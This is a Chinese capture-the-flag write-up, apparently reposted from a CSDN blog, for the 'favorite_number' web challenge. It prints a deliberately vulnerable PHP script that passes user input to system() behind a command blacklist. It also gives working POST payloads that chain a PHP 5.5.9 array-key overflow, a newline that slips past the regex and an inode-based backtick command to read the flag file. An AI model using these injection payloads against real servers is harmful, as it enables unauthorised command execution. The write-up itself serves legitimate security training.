攻防世界WEB练习-favorite_number
前言
作者簡介:不知名白帽,網(wǎng)絡(luò)安全學(xué)習(xí)者。
博客主頁:https://blog.csdn.net/m0_63127854?type=blog
攻防世界專欄:https://blog.csdn.net/m0_63127854/category_11983747.html
網(wǎng)絡(luò)安全交流社區(qū):https://bbs.csdn.net/forums/angluoanquan
目錄
題目場景
代碼審計及繞過
通過php5.5版本的數(shù)組key溢出漏洞進行數(shù)組繞過
換行符繞過正則跨行匹配
黑名單繞過
題目場景
<?php //php5.5.9 $stuff?=?$_POST["stuff"]; $array?=?['admin',?'user']; if($stuff?===?$array?&&?$stuff[0]?!=?'admin')?{$num=?$_POST["num"];if?(preg_match("/^\d+$/im",$num)){if?(!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo?"my?favorite?num?is:";system("echo?".$num);}else{echo?'Bonjour!';}} }?else?{highlight_file(__FILE__); }代碼審計及繞過
通過php5.5版本的數(shù)組key溢出漏洞進行數(shù)組繞過
php的版本是5.5.9
通過post方式傳遞兩個參數(shù):stuff(數(shù)組)和num(其中的內(nèi)容經(jīng)過過濾之后會被system函數(shù)執(zhí)行)
既要數(shù)組強等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根據(jù)上面的提示,只能是php5.5.9的版本漏洞了
根據(jù)php5.5.9的版本漏洞:
PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation
我們可以利用PHP的數(shù)組下標的一個BUG,可以利用整型溢出:
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
構(gòu)造payload
$stuff[0]!='admin',我們通過0x100000000(0x100000000轉(zhuǎn)換成十進制4294967296)來進行溢出;進行POST傳參
stuff[4294967296]=admin&stuff[]=user&num=123換行符繞過正則跨行匹配
正則"/^\d+$/im",要求整個字符串都是數(shù)字,大小寫不敏感,跨行檢測
^和$ 匹配字符串開頭和結(jié)尾
/d 匹配數(shù)字
/i 表示匹配的時候不區(qū)分大小寫
/m 表示多行匹配。什么是多行匹配呢?就是匹配換行符兩端的潛在匹配。影響正則中的^$符號
stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als
黑名單繞過
/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i
黑名單,把常用的可以執(zhí)行的代碼命令都排除了
查看根目錄下的文件ls /
因為cat被禁用了,所以用inode索引節(jié)點,ls -i /
使用`繞過單雙引號過濾,讀取flag
%0atac `find / -inum 18497049`
總結(jié)
以上是生活随笔為你收集整理的攻防世界WEB练习-favorite_number的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: flash电子书的书签功能
- 下一篇: 搞笑动图:程序员崩溃的 40 个瞬间!